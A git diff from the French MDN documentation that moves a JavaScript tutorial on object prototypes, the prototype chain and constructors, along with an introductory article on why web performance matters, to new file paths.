Cette méthode renvoie simplement la valeur de l'objet pour lequel elle est appelée. Vous pouvez essayer dans votre console ! Lorsque l'on effectue cet appel, il se produit les choses suivantes :

+ +
    +
  • Le navigateur tente de déterminer si l'objet personne1 implémente une méthode valueOf().
    • +
  • Aucune n'est présente, le navigateur vérifie donc si le prototype objet de personne1 (Personne) contient cette méthode.
    • +
  • Pas de valueOf() non plus, donc le navigateur regarde si le prototype objet du constructeur Personne() (Object) possède cette méthode. Il y en a une, donc il l'appelle et tout va bien !
    • +
+ +
+

Note : Encore une fois, il est important d'insister sur le fait que les méthodes et attributs ne sont pas copiés d'un objet à un autre, mais qu'on y accède à chaque fois en remontant la chaine de prototypage.

+
+ +
+

Note : Il n'existe pas de façon officielle d'accéder directement au prototype d'un objet donné. Les « liens » entre les éléments de la chaine sont définis au sein d'une propriété interne appelée [[prototype]] définie dans la spécification de JavaScript. (voir ECMAScript). Néanmoins, la plupart des navigateurs modernes implémentent l'attribut __proto__   (deux tirets soulignés ou underscore de chaque côté) qui contient le prototype objet d'un objet. Vous pouvez tenter personne1.__proto__ et personne1.__proto__.__proto__ pour voir à quoi ressemble une chaine de prototypage dans la console !

+
+ +

L'attribut prototype : là où l'on définit les éléments héritables

+ +

Mais alors, où définissons-nous les attributs et méthodes qui seront hérités au long de la chaîne de prototypage ? En effet, s'il on regarde à la page de documentation Object on peut voir un large éventail d'attributs et de méthodes qui sont définis, une liste bien plus longue que celle disponible pour notre objet Personne1. Pourquoi Personne1 hérite de certains de ces éléments mais pas de tous ?

+ +

Cela vient du fait que les éléments hérités sont ceux définis au niveau de l'attribut prototype d'Object (on peut voir cet attribut comme un sous espace de noms). Ainsi, les éléments listés sont ceux sous Object.prototype. et pas ceux situés juste sous Object. La valeur de l'attribut prototype est un objet qui rassemble les attributs et méthodes que l'on souhaite appliquer aux objets tout au long de la chaine de prototypage.

+ +

Ainsi Object.prototype.watch(), Object.prototype.valueOf() …  sont disponibles pour n'importe quel objet qui hérite de Object.prototype ce qui inclus les nouvelles instances créées à partir du constructeur Personne().

+ +

Object.is(), Object.keys(), ainsi que d'autres membres non définis dans prototype ne sont pas hérités par les instances d'objet ou les objets qui héritent de Object.prototype. Ces méthodes et attributs sont disponibles uniquement pour le constructeur Object().

+ +
+

Note : Ça paraît bizarre, d'avoir une méthode définie au sein d'un constructeur qui est lui même une fonction non ? Et bien, une fonction est aussi un type d'objet — vous pouvez jeter un  œil à la documentation du constructeur Function() si vous ne nous croyez pas.

+
+ +
    +
  1. Vous pouvez vérifier les attributs du prototype en reprenant l'exemple précédent et en entrant le code suivant dans la console JavaScript : + 
    Personne.prototype
    +
    2. +
  2. Il n'y a pas grand chose renvoyé par le navigateur. En même temps, nous n'avons rien défini dans l'attribut prototype de notre constructeur, et par défaut l'attribut prototype d'un constructeur est toujours vide. Voyons ce que renvoie le code suivant : + 
    Object.prototype
    +
    3. +
+ +

On observe que plusieurs méthodes sont définies au niveau de l'attribut prototype d'Object, qui seront alors disponibles pour les objets qui héritent d'Object, comme nous l'avons vu plus haut.

+ +

Vous verrez qu'il existe plein d'exemples de chaine de prototypage dans JavaScript. Vous pouvez essayer de trouver les méthodes et les attributs définis dans les attributs prototype des objets globeaux comme String,  Date, Number, et  Array. Chacun de ces objets possède des éléments au sein de leur attribut prototype. Dès lors que l'on crée une chaine de caractères, comme celle-ci :

+ +
var maChaine = 'Ceci est ma chaine de caracteres.';
+ +

maChaine possède aussitôt plusieurs méthodes utiles pour manipuler les chaines de caractères telles que split(), indexOf(), replace()…

+ +
+

Important : L'attribut prototype est un des éléments JavaScript qui peut le plus prêter à confusion. On pourrait penser qu'il s'agit du prototype objet de l'objet courant mais ça ne l'est pas (on peut y accéder via __proto__). L'attribut prototype est un attribut qui contient un objet où l'on définit les éléments dont on va pouvoir hériter.

+
+ +

Revenons sur create()

+ +

Nous avons vu précedemment que la méthode Object.create() pouvait être utilisée pour instancier des objets.

+ +
    +
  1. Par exemple, vous pouvez essayer le code suivant dans la console JavaScript : + 
    var personne2 = Object.create(personne1);
    +
    2. +
  2. En réalité create() se contente de créer un nouvel objet à partir d'un prototype spécifique. Dans cet exemple, personne2 est créé à partir de personne1 qui agit en tant que prototype. Vous pouvez le vérifier via : + 
    person2.__proto__
    +
    3. +
+ +

Cela renverra l'objet personne1.

+ +

L'attribut constructor

+ +

Chaque fonction possède un attribut prototype dont la valeur est un objet contenant un attribut constructor. L'attribut constructor renvoie vers la méthode constructrice utilisée. Nous allons le voir dans la section suivante, les attributs définis dans l'attribut Personne.prototype deviennent disponibles pour toutes les instances créées à partir du constructeur Personne(). De cette manière, l'attribut constructor est aussi disponible au sein de personne1 et personne2.

+ +
    +
  1. Par exemple, vous pouvez tester le code suivant : + 
    personne1.constructor
+personne2.constructor
    + +

    Chaque commande devrait renvoyer le constructeur Personne() étant donné qu'il a permis d'instancier ces objets.

    + +

    Une astuce qui peut s'avérer utile est d'ajouter des parenthèses à la fin de l'attribut constructor pour le transformer en méthode. Après tout, le constructeur est une fonction que l'on peut appeler si besoin. Il faut juste utiliser le mot-clé new pour signifier que l'on souhaite construire un objet.

    +
    2. +
  2. Par exemple : + 
    var personne3 = new personne1.constructor('Karen', 'Stephenson', 26, 'femme', ['jouer de la batterie', 'escalade']);
    +
    3. +
  3. Vous pouvez désormais essayer d'accéder aux propriétés de personne3 : + 
    personne3.prenom
+personne3.age
+personne3.bio()
    +
    4. +
+ +

Ça fonctionne bien. A priori, ce n'est pas la manière la plus simple de créer un objet et vous n'aurez pas à l'utiliser souvent. En revanche, ça peut vous débloquer quand vous devez créer une nouvelle instance et que vous ne disposez pas facilement du constructeur d'origine.

+ +

L'attribut constructor possède d'autres intérêts. Par exemple, si vous disposez du nom d'une instance objet vous pouvez utiliser le code suivant pour renvoyer le nom de son constructeur :

+ +
instanceName.constructor.name
+ +

Vous pouvez essayer :

+ +
personne1.constructor.name
+ +

Modifions les prototypes

+ +

Voyons au travers d'un exemple comment modifier l'attribut prototype d'un constructeur (les méthodes ajoutées au prototype seront alors disponibles pour toutes les instances créées à partir du constructeur).

+ +
    +
  1. Revenons à notre exemple oojs-class-further-exercises.html et faisons une copie local du code source. En dessous du JavaScript existant, vous pouvez ajouter le code suivant, ce qui aura pour effet d'ajouter une nouvelle méthode à l'attribut prototype du constructeur : + + 
    Personne.prototype.aurevoir = function() {
+  alert(this.nom.prenom + ' est sorti. Au revoir !');
+}
    +
    2. +
  2. Enregistrez vos modifications et chargez la page dans votre navigateur. Vous pouvez ensuite entrer le code suivant dans la console : + 
    personne1.aurevoir();
    +
    3. +
+ +

Vous devriez voir une fenêtre s'afficher avec un message contenant le nom de la personne. Cette fonctionalité est utile, mais là où ça devient plus intéressant c'est que la chaine de prototypage a été mis à jour dynamiquement, rendant automatiquement cette méthode disponible à l'ensemble des instances existantes.

+ +

Revoyons en détail ce qui s'est passé : tout d'abord, nous avons défini le constructeur. Ensuite, nous avons instancié un objet à partir du constructeur. Enfin, nous avons ajouté une nouvelle méthode au prototype du construceur :

+ +
function Personne(prenom, nom, age, genre, interets) {
+
+  // définition des attrbuts et des méthodes
+
+};
+
+var personne1 = new Personne('Tammi', 'Smith', 32, 'neutre', ['musique', 'ski', 'kickboxing']);
+
+Personne.prototype.aurevoir= function() {
+  alert(this.nom.prenom + ' est sorti. Au revoir !');
+}
+ +

Même si nous l'avons déclaré après, la méthode aurevoir() est disponible pour l'instance personne1. Son existence a mis à jour dynamiquement les méthodes de l'instance. Cela démontre ce que nous expliquions plus haut au sujet de la chaine de prototypage : le navigateur la parcourt de manière ascendante. Ainsi, il est possible de trouver directement les méthodes qui n'ont pas été définies au niveau de l'instance, plutôt que de les recopier au sein de l'instance. Cela nous permet de bénéficier d'un système extensible de manière simple et élégante.

+ +
+

Note : Si vous avez du mal à faire fonctionner cet exemple, vous pouvez jeter un œil au notre (oojs-class-prototype.html, voir la démo)

+
+ +

Vous verrez peu d'attributs définis au sein de l'attribut prototype, pour la simple et bonne raison que c'est assez peu pratique. Vous pourriez avoir :

+ +
Personne.prototype.nomComplet = 'Bob Smith';
+ +

Mais ce n'est pas très pratique, étant donné qu'une personne ne sera peut-être pas appelée de cette manière. Il est plus cohérent de construire le nom entier en combinant le nom et le prénom :

+ +
Personne.prototype.nomComplet = this.nom.prenom + ' ' + this.nom.nom;
+ +

Ça ne fonctionnera toujours pas. En effet, this aura une portée globale et ne sera pas dans le contexte de la fonction. En appelant cet attribut, nous aurions alors undefined undefined. Dans les exemples précédents sur le prototype, nous arrivions à obtenir quelque chose de fonctionnel puisque nous étions au sein d'une méthode, qui sera utilisée par l'instance. Il est donc possible de définir des attributs invariables au niveau du prototype mais de manière générale, il est préférable de les définir au sein du constructeur.

+ +

En fait, on retrouve généralement la chose suivante : les attributs sont définis dans le constructeur, tandis que les méthodes sont définies au niveau du prototype. Cela rend le code plus simple à lire puisque les attributs sont groupés et les méthodes structurées en blocs distincts. Par exempe :

+ +
// Constructeur avec définition des attributs
+
+function Test(a, b, c, d) {
+  // définition des attributs
+};
+
+// Définition de la première méthode
+
+Test.prototype.x = function() { ... }
+
+// Définition de la seconde méthode
+
+Test.prototype.y = function() { ... }
+
+// etc...
+ +

Ce type d'implémentation peut être observée dans l'appli plan d'école de Piotr Zalewa par exemple.

+ +

Résumé

+ +

Cet article a traité des prototypes objet en JavaScript, en incluant la chaine de prototypage qui permet aux objets d'hériter des propriétés d'un autre objet. Nous avons aussi vu l'attribut prototype et comment nous pouvons l'utiliser pour ajouter des méthodes au constructeur.

+ +

Dans le prochain article, nous verrons comment appliquer l'héritage entre deux de nos propres objets.

+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}

diff --git a/files/fr/learn/javascript/objects/prototypes_objet/index.html b/files/fr/learn/javascript/objects/prototypes_objet/index.html deleted file mode 100644 index efb3681f18..0000000000 --- a/files/fr/learn/javascript/objects/prototypes_objet/index.html +++ /dev/null @@ -1,244 +0,0 @@ ---- -title: Prototypes Objet -slug: Learn/JavaScript/Objects/Prototypes_Objet -tags: - - Constructeur - - JavaScript - - Prototype -translation_of: Learn/JavaScript/Objects/Object_prototypes ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}
- -

Les prototypes sont un mécanisme au sein de JavaScript qui permettent aux objets JavaScript d'hériter des propriétés d'autres objets. Les prototypes implémentent un héritage différent de celui rencontré dans les langages de programmation objets habituels. Dans cet article, nous allons aborder ces différences, nous allons aussi voir comment la chaîne de prototypage fonctionne. Nous verrons aussi comment les propriétés prototypes peuvent être utilisées afin d'ajouter des méthodes à des constructeurs existants.

- - - - - - - - - - - - -
Pré-requis :Une connaissance générale de l'informatique, des notions d'HTML et CSS, une connaissance des bases en JavaScript (voir Premiers pas et Blocs de construction) ainsi que des notions de JavaScript orienté objet (JSOO) (voir Introduction aux objets).
Objectifs :Comprendre le concept de prototype en JavaScript, comprendre comment fonctionne une chaîne de prototypage et comment ajouter de nouvelles méthodes aux propriétés d'un prototype.
- -

Un langage basé sur des prototypes ?

- -

JavaScript est souvent décrit comme un langage basé sur les prototypes, chaque objet pouvant avoir un prototype objet d'où il hérite des méthodes et des attributs. Un prototype peut lui aussi avoir son prototype objet duquel il héritera des méthodes et des attributs et ainsi de suite. On parle alors de chaîne de prototypage (ou prototype chain en anglais). Cela permet d'expliquer pourquoi différents objets possèdent des attributs et des méthodes définis à partir d'autres objets.

- -

En réalité, les méthodes et attributs sont définis dans l'attribut prototype , la fonction constructrice de l'objet et non pas dans les instances des objets elles-mêmes.

- -

En programmation orientée objet classique, les classes sont définies, puis lorsque des instances sont créées, l'ensemble des attributs et des méthodes sont copiés dans l'instance. En JavaScript en revanche, tout n'est pas copié : on établit un lien entre l'objet instancié et son constructeur (c'est un lien dans la chaîne de prototypage). On détermine alors les méthodes et les attributs en remontant la chaîne.

- -
-

Note: Il faut bien comprendre qu'il y a une différence entre la notion de prototype d'un objet (qu'on obtient via Object.getPrototypeOf(obj), ou via la propriété dépréciée  __proto__ ) et l' attribut prototyped'une fonction constructrice. La première concerne chaque instance, le dernier existe uniquement sur une fonction constructrice. Cela dit, Object.getPrototypeOf(new Foobar()) renvoie au même object queFoobar.prototype.

-
- -

Prenons un exemple afin de rendre cela un peu plus clair.

- -

Comprendre les prototypes objet

- -

Reprenons notre exemple dans lequel nous avions écrit notre constructeur Personne(). Chargez cet exemple dans votre navigateur, si vous ne l'avez plus, vous pouvez utiliser notre exemple oojs-class-further-exercises.html example (voir aussi le code source).

- -

Dans cet exemple, nous avons défini un constructeur comme suit :

- -
function Personne(prenom, nom, age, genre, interets) {
-
-  // property and method definitions
-
-};
- -

Nous avons ensuite instancié des objets comme ceci :

- -
var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']);
- -

Si vous entrez  « personne1 » dans votre console JavaScript, vous devriez voir que le navigateur essaie de faire de l'auto-complétion avec les attributs de cet objet.

- -

- -

Dans cette liste vous verrez les membres définis au niveau du constructeur de personne1 qui n'est autre  Personne(). On y trouve les valeurs suivantes : nom, age, genre, interets, bio, et salutation. On peut voir aussi d'autres membres tels que watch, valueOf …  Ces membres particuliers sont définis au niveau du prototype objet du constructeur Personne(), qui est Object. On voit ici une mise en œuvre de la chaine de prototypage.

- -

- -

Que peut-il bien se passer lorsque l'on tente d'appeler une méthode définie pour Object en l'appliquant à Personne1 ? Par exemple :

- -
personne1.valueOf()
- -

Cette méthode renvoie simplement la valeur de l'objet pour lequel elle est appelée. Vous pouvez essayer dans votre console ! Lorsque l'on effectue cet appel, il se produit les choses suivantes :

- -
    -
  • Le navigateur tente de déterminer si l'objet personne1 implémente une méthode valueOf().
    • -
  • Aucune n'est présente, le navigateur vérifie donc si le prototype objet de personne1 (Personne) contient cette méthode.
    • -
  • Pas de valueOf() non plus, donc le navigateur regarde si le prototype objet du constructeur Personne() (Object) possède cette méthode. Il y en a une, donc il l'appelle et tout va bien !
    • -
- -
-

Note : Encore une fois, il est important d'insister sur le fait que les méthodes et attributs ne sont pas copiés d'un objet à un autre, mais qu'on y accède à chaque fois en remontant la chaine de prototypage.

-
- -
-

Note : Il n'existe pas de façon officielle d'accéder directement au prototype d'un objet donné. Les « liens » entre les éléments de la chaine sont définis au sein d'une propriété interne appelée [[prototype]] définie dans la spécification de JavaScript. (voir ECMAScript). Néanmoins, la plupart des navigateurs modernes implémentent l'attribut __proto__   (deux tirets soulignés ou underscore de chaque côté) qui contient le prototype objet d'un objet. Vous pouvez tenter personne1.__proto__ et personne1.__proto__.__proto__ pour voir à quoi ressemble une chaine de prototypage dans la console !

-
- -

L'attribut prototype : là où l'on définit les éléments héritables

- -

Mais alors, où définissons-nous les attributs et méthodes qui seront hérités au long de la chaîne de prototypage ? En effet, s'il on regarde à la page de documentation Object on peut voir un large éventail d'attributs et de méthodes qui sont définis, une liste bien plus longue que celle disponible pour notre objet Personne1. Pourquoi Personne1 hérite de certains de ces éléments mais pas de tous ?

- -

Cela vient du fait que les éléments hérités sont ceux définis au niveau de l'attribut prototype d'Object (on peut voir cet attribut comme un sous espace de noms). Ainsi, les éléments listés sont ceux sous Object.prototype. et pas ceux situés juste sous Object. La valeur de l'attribut prototype est un objet qui rassemble les attributs et méthodes que l'on souhaite appliquer aux objets tout au long de la chaine de prototypage.

- -

Ainsi Object.prototype.watch(), Object.prototype.valueOf() …  sont disponibles pour n'importe quel objet qui hérite de Object.prototype ce qui inclus les nouvelles instances créées à partir du constructeur Personne().

- -

Object.is(), Object.keys(), ainsi que d'autres membres non définis dans prototype ne sont pas hérités par les instances d'objet ou les objets qui héritent de Object.prototype. Ces méthodes et attributs sont disponibles uniquement pour le constructeur Object().

- -
-

Note : Ça paraît bizarre, d'avoir une méthode définie au sein d'un constructeur qui est lui même une fonction non ? Et bien, une fonction est aussi un type d'objet — vous pouvez jeter un  œil à la documentation du constructeur Function() si vous ne nous croyez pas.

-
- -
    -
  1. Vous pouvez vérifier les attributs du prototype en reprenant l'exemple précédent et en entrant le code suivant dans la console JavaScript : - 
    Personne.prototype
    -
    2. -
  2. Il n'y a pas grand chose renvoyé par le navigateur. En même temps, nous n'avons rien défini dans l'attribut prototype de notre constructeur, et par défaut l'attribut prototype d'un constructeur est toujours vide. Voyons ce que renvoie le code suivant : - 
    Object.prototype
    -
    3. -
- -

On observe que plusieurs méthodes sont définies au niveau de l'attribut prototype d'Object, qui seront alors disponibles pour les objets qui héritent d'Object, comme nous l'avons vu plus haut.

- -

Vous verrez qu'il existe plein d'exemples de chaine de prototypage dans JavaScript. Vous pouvez essayer de trouver les méthodes et les attributs définis dans les attributs prototype des objets globeaux comme String,  Date, Number, et  Array. Chacun de ces objets possède des éléments au sein de leur attribut prototype. Dès lors que l'on crée une chaine de caractères, comme celle-ci :

- -
var maChaine = 'Ceci est ma chaine de caracteres.';
- -

maChaine possède aussitôt plusieurs méthodes utiles pour manipuler les chaines de caractères telles que split(), indexOf(), replace()…

- -
-

Important : L'attribut prototype est un des éléments JavaScript qui peut le plus prêter à confusion. On pourrait penser qu'il s'agit du prototype objet de l'objet courant mais ça ne l'est pas (on peut y accéder via __proto__). L'attribut prototype est un attribut qui contient un objet où l'on définit les éléments dont on va pouvoir hériter.

-
- -

Revenons sur create()

- -

Nous avons vu précedemment que la méthode Object.create() pouvait être utilisée pour instancier des objets.

- -
    -
  1. Par exemple, vous pouvez essayer le code suivant dans la console JavaScript : - 
    var personne2 = Object.create(personne1);
    -
    2. -
  2. En réalité create() se contente de créer un nouvel objet à partir d'un prototype spécifique. Dans cet exemple, personne2 est créé à partir de personne1 qui agit en tant que prototype. Vous pouvez le vérifier via : - 
    person2.__proto__
    -
    3. -
- -

Cela renverra l'objet personne1.

- -

L'attribut constructor

- -

Chaque fonction possède un attribut prototype dont la valeur est un objet contenant un attribut constructor. L'attribut constructor renvoie vers la méthode constructrice utilisée. Nous allons le voir dans la section suivante, les attributs définis dans l'attribut Personne.prototype deviennent disponibles pour toutes les instances créées à partir du constructeur Personne(). De cette manière, l'attribut constructor est aussi disponible au sein de personne1 et personne2.

- -
    -
  1. Par exemple, vous pouvez tester le code suivant : - 
    personne1.constructor
-personne2.constructor
    - -

    Chaque commande devrait renvoyer le constructeur Personne() étant donné qu'il a permis d'instancier ces objets.

    - -

    Une astuce qui peut s'avérer utile est d'ajouter des parenthèses à la fin de l'attribut constructor pour le transformer en méthode. Après tout, le constructeur est une fonction que l'on peut appeler si besoin. Il faut juste utiliser le mot-clé new pour signifier que l'on souhaite construire un objet.

    -
    2. -
  2. Par exemple : - 
    var personne3 = new personne1.constructor('Karen', 'Stephenson', 26, 'femme', ['jouer de la batterie', 'escalade']);
    -
    3. -
  3. Vous pouvez désormais essayer d'accéder aux propriétés de personne3 : - 
    personne3.prenom
-personne3.age
-personne3.bio()
    -
    4. -
- -

Ça fonctionne bien. A priori, ce n'est pas la manière la plus simple de créer un objet et vous n'aurez pas à l'utiliser souvent. En revanche, ça peut vous débloquer quand vous devez créer une nouvelle instance et que vous ne disposez pas facilement du constructeur d'origine.

- -

L'attribut constructor possède d'autres intérêts. Par exemple, si vous disposez du nom d'une instance objet vous pouvez utiliser le code suivant pour renvoyer le nom de son constructeur :

- -
instanceName.constructor.name
- -

Vous pouvez essayer :

- -
personne1.constructor.name
- -

Modifions les prototypes

- -

Voyons au travers d'un exemple comment modifier l'attribut prototype d'un constructeur (les méthodes ajoutées au prototype seront alors disponibles pour toutes les instances créées à partir du constructeur).

- -
    -
  1. Revenons à notre exemple oojs-class-further-exercises.html et faisons une copie local du code source. En dessous du JavaScript existant, vous pouvez ajouter le code suivant, ce qui aura pour effet d'ajouter une nouvelle méthode à l'attribut prototype du constructeur : - - 
    Personne.prototype.aurevoir = function() {
-  alert(this.nom.prenom + ' est sorti. Au revoir !');
-}
    -
    2. -
  2. Enregistrez vos modifications et chargez la page dans votre navigateur. Vous pouvez ensuite entrer le code suivant dans la console : - 
    personne1.aurevoir();
    -
    3. -
- -

Vous devriez voir une fenêtre s'afficher avec un message contenant le nom de la personne. Cette fonctionalité est utile, mais là où ça devient plus intéressant c'est que la chaine de prototypage a été mis à jour dynamiquement, rendant automatiquement cette méthode disponible à l'ensemble des instances existantes.

- -

Revoyons en détail ce qui s'est passé : tout d'abord, nous avons défini le constructeur. Ensuite, nous avons instancié un objet à partir du constructeur. Enfin, nous avons ajouté une nouvelle méthode au prototype du construceur :

- -
function Personne(prenom, nom, age, genre, interets) {
-
-  // définition des attrbuts et des méthodes
-
-};
-
-var personne1 = new Personne('Tammi', 'Smith', 32, 'neutre', ['musique', 'ski', 'kickboxing']);
-
-Personne.prototype.aurevoir= function() {
-  alert(this.nom.prenom + ' est sorti. Au revoir !');
-}
- -

Même si nous l'avons déclaré après, la méthode aurevoir() est disponible pour l'instance personne1. Son existence a mis à jour dynamiquement les méthodes de l'instance. Cela démontre ce que nous expliquions plus haut au sujet de la chaine de prototypage : le navigateur la parcourt de manière ascendante. Ainsi, il est possible de trouver directement les méthodes qui n'ont pas été définies au niveau de l'instance, plutôt que de les recopier au sein de l'instance. Cela nous permet de bénéficier d'un système extensible de manière simple et élégante.

- -
-

Note : Si vous avez du mal à faire fonctionner cet exemple, vous pouvez jeter un œil au notre (oojs-class-prototype.html, voir la démo)

-
- -

Vous verrez peu d'attributs définis au sein de l'attribut prototype, pour la simple et bonne raison que c'est assez peu pratique. Vous pourriez avoir :

- -
Personne.prototype.nomComplet = 'Bob Smith';
- -

Mais ce n'est pas très pratique, étant donné qu'une personne ne sera peut-être pas appelée de cette manière. Il est plus cohérent de construire le nom entier en combinant le nom et le prénom :

- -
Personne.prototype.nomComplet = this.nom.prenom + ' ' + this.nom.nom;
- -

Ça ne fonctionnera toujours pas. En effet, this aura une portée globale et ne sera pas dans le contexte de la fonction. En appelant cet attribut, nous aurions alors undefined undefined. Dans les exemples précédents sur le prototype, nous arrivions à obtenir quelque chose de fonctionnel puisque nous étions au sein d'une méthode, qui sera utilisée par l'instance. Il est donc possible de définir des attributs invariables au niveau du prototype mais de manière générale, il est préférable de les définir au sein du constructeur.

- -

En fait, on retrouve généralement la chose suivante : les attributs sont définis dans le constructeur, tandis que les méthodes sont définies au niveau du prototype. Cela rend le code plus simple à lire puisque les attributs sont groupés et les méthodes structurées en blocs distincts. Par exempe :

- -
// Constructeur avec définition des attributs
-
-function Test(a, b, c, d) {
-  // définition des attributs
-};
-
-// Définition de la première méthode
-
-Test.prototype.x = function() { ... }
-
-// Définition de la seconde méthode
-
-Test.prototype.y = function() { ... }
-
-// etc...
- -

Ce type d'implémentation peut être observée dans l'appli plan d'école de Piotr Zalewa par exemple.

- -

Résumé

- -

Cet article a traité des prototypes objet en JavaScript, en incluant la chaine de prototypage qui permet aux objets d'hériter des propriétés d'un autre objet. Nous avons aussi vu l'attribut prototype et comment nous pouvons l'utiliser pour ajouter des méthodes au constructeur.

- -

Dans le prochain article, nous verrons comment appliquer l'héritage entre deux de nos propres objets.

- -

{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}

diff --git a/files/fr/learn/performance/pourquoi_performance_web/index.html b/files/fr/learn/performance/pourquoi_performance_web/index.html deleted file mode 100644 index ec49c36548..0000000000 --- a/files/fr/learn/performance/pourquoi_performance_web/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Le "pourquoi" des performances Web -slug: Learn/Performance/pourquoi_performance_web -tags: - - Apprendre - - Débutant - - Introduction - - Performance - - Performance Web - - Reference - - Tutoriel -translation_of: Learn/Performance/why_web_performance ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}
- -

La performance Web consiste à rendre les sites Web rapides, y compris à rendre les processus lents rapides. Cet article explique pourquoi les performances Web sont importantes pour les visiteurs du site et pour vos objectifs commerciaux.

- - - - - - - - - - - - -
Prérequis:Connaissances de base en informatique, installation des outils de base, et connaissances de base des technologies Web côté client.
Objectif:Connaître les raisons pour lesquelles les performances Web sont importantes pour une bonne expérience utilisateur.
- -

Les performances Web font référence à la rapidité avec laquelle le contenu du site se charge et s'affiche dans un navigateur web, et à la façon dont il répond à l'interaction de l'utilisateur. Les sites peu performants sont lents à afficher et à répondre aux entrées. Les sites mal performants augmentent l'abandon des sites. Au pire, une mauvaise performance rend le contenu totalement inaccessible. Un bon objectif pour les performances Web est que les utilisateurs ne remarquent pas les performances. Alors que la perception d'un individu sur les performances du site est subjective, le chargement et le rendu peuvent être mesurés. De bonnes performances peuvent ne pas être évidentes pour la plupart des visiteurs du site, mais la plupart reconnaîtront immédiatement un site lent. C'est pourquoi nous nous soucions de cela.

- -

Pourquoi se soucier de la performance?

- -

Les performances Web et les meilleurs pratiques associées sont essentielles pour que les visiteurs de votre site Web aient une bonne expérience. En un sens, les performances Web peuvent être considérées comme un sous-ensemble de l'accessibilité web. Avec les performaces comme avec l'accessibilité, vous considérez que appareil un visiteur du site utilise pour accéder au site et la vitesse de connexion de l'appareil.

- -

À titre d'exemple, considérons l'expérience de chargement de CNN.com, qui, au moment de la rédaction de cet article,  avait plus de 400 requêtes HTTP avec une taille de fichier supérieure à 22.6Mo.

- -
    -
  • Imaginez charger ceci sur un ordinateur de bureau connecté à un réseau de fibre optique. Cela semblerait relativement rapide, et la taille du fichier serait en grande partie sans importance.
    • -
  • Imaginez charger ce même site en utilisant des données mobiles connectées sur un iPad de 9 ans tout en vous rendant chez vous en transport en commun. Le même site sera lent à se charger, voir presque inutilisable en fonction de la couverture cellulaire. Vous pourriez abandonner avant la fin du chargement.
    • -
  • Imaginez charger ce même site sur un appareil Huawei à 35$ dans une Inde rurale avec une couverture limitée ou pas de couverture. Le site sera très lent à se charger - s'il se charge du tout - avec des scripts de blocage pouvant expirer et un impact négatif sur le processeur provoquant des plantages du navigateur s'il se charge.
    • -
- -

Un site de 22.6 Mo peut prendre jusqu'à 83 secondes pour se charger sur un réseau 3G, avec DOMContentLoaded (c'est-à-dire la structure HTML de base du site) à 31.86 secondes.

- -

Et ce n'est pas seulement le temps de téléchargement qui est un problème majeur. De nombreux pays ont encore des connexions internet facturées âr mégaoctet. Notre exemple de 22,6 Mo d'expérience CNN.com coûterait environ 11% du salaire quotidien moyen d'un Indien à télécharger. À partir d'un appareil mobile en Afrique du Nord-Ouest, cela peut coûter deux jours de salaire moyen. Et si ce site était chargé sur le plan d'itinérance internationale d'un opérateur américain? Les coûts feraient pleurer n'importe qui. (Voir combien coûte le téléchargement de votre site.)

- -

- -

Améliorer les taux de conversion

- -

La réduction du temps de téléchargement et de rendu d'un site améliore les taux de conversion et la fidélisation des utilisateurs.

- -

Un taux de conversion est le taux auquel les visiteurs du site effectuent une action mesurée ou souhaitée. Par exemple, il peut s'agir d'effectuer un achat, de lire un article ou de vous abonner à une newsletter. L'action mesurée en tant que taux de conversion dépend des objectifs commerciaux du site web.

- -

La performance influe sur la conversion; l'amélioration des performances Web améliore la conversion. Les visiteurs du site s'attendent à ce qu'un site se charge en deux secondes ou moins; parfois encore moins sur mobile (où cela prend généralement plus de temps). Ces mêmes visiteurs du site commencent à abandonner les sites lents à 3 secondes.

- -

La vitesse à laquelle un site se charge est un facteur. Si le site est lent à réagir à l'interaction de l'utilisateur, ou semble saccadé, cela entraîne une perte d'intérêt et de confiance des visiteurs du site.

- -

Voici quelques exemples concrets d'améliorations des performances:

- - - -

Pour créer des sites Web et des applications que les gens veulent utiliser; pour attirer et fidéliser les visiteurs du site, vous devez créer un site accessible qui offre une bonne expérience utilisateur. La création de sites Web nécessite HTML, CSS et JavaScript, y compris généralement des types de fichiers binaires tels que des images et des vidéos. Les décisions que vous prenez et les outils que vous choisissez lors de la création de votre site peuvent grandement affecter les performances du travail fini.

- -

Une bonne performance est un atout. Une mauvaise performance est une responsabilité. La vitesse du site affecte directement les taux de rebond, la conversion, les revenus, la satisfaction des utilisateurs et le classement des moteurs de recherche. Il a été démontré que les sites performants augmentent la rétention des visiteurs et la satisfaction des utilisateurs. Il a été démontré que la lenteur du contenu conduit à l'abandon du site, certains visiteurs partant pour ne jamais revenir. La réduction de la quantité de données qui passe entre le client et le serveur réduit les coûts pour toutes les parties. La réduction de la taille des fichiers HTML/CSS/JavaScript et multimédia réduit à la fois le temps de chargement et la consommation d'énergie d'un site (voir performance budgets).

- -

Le suivi des performances est important. Plusieurs facteurs, notamment la vitesse du réseau et les capacités de l'appareil, affectent les performances. Il n'y a pas de mesure de performance unique; et des objectifs commerciaux différents peuvent signifier que différentes mesures sont plus pertinentes pour les objectifs du site ou de l'organisation qu'il prend en charge. La perception de la performance de votre site est l'expérience utilisateur!

- -

Conclusion

- -

Les performances Web sont importantes pour l'accessibilité et également pour d'autres mesures de site Web qui servent les objectifs d'une organisation ou d'une entreprise. Les bonnes ou mauvaises performances du site Web sont fortement corrélées à l'expérience utilisateur, ainsi qu'à l'efficacité globale de la plupart des sites. C'est pourquoi vous devez vous soucier des performances Web.

- -

{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}

- -

Dans ce module

- - diff --git a/files/fr/learn/performance/why_web_performance/index.html b/files/fr/learn/performance/why_web_performance/index.html new file mode 100644 index 0000000000..ec49c36548 --- /dev/null +++ b/files/fr/learn/performance/why_web_performance/index.html @@ -0,0 +1,101 @@ +--- +title: Le "pourquoi" des performances Web +slug: Learn/Performance/pourquoi_performance_web +tags: + - Apprendre + - Débutant + - Introduction + - Performance + - Performance Web + - Reference + - Tutoriel +translation_of: Learn/Performance/why_web_performance +--- +
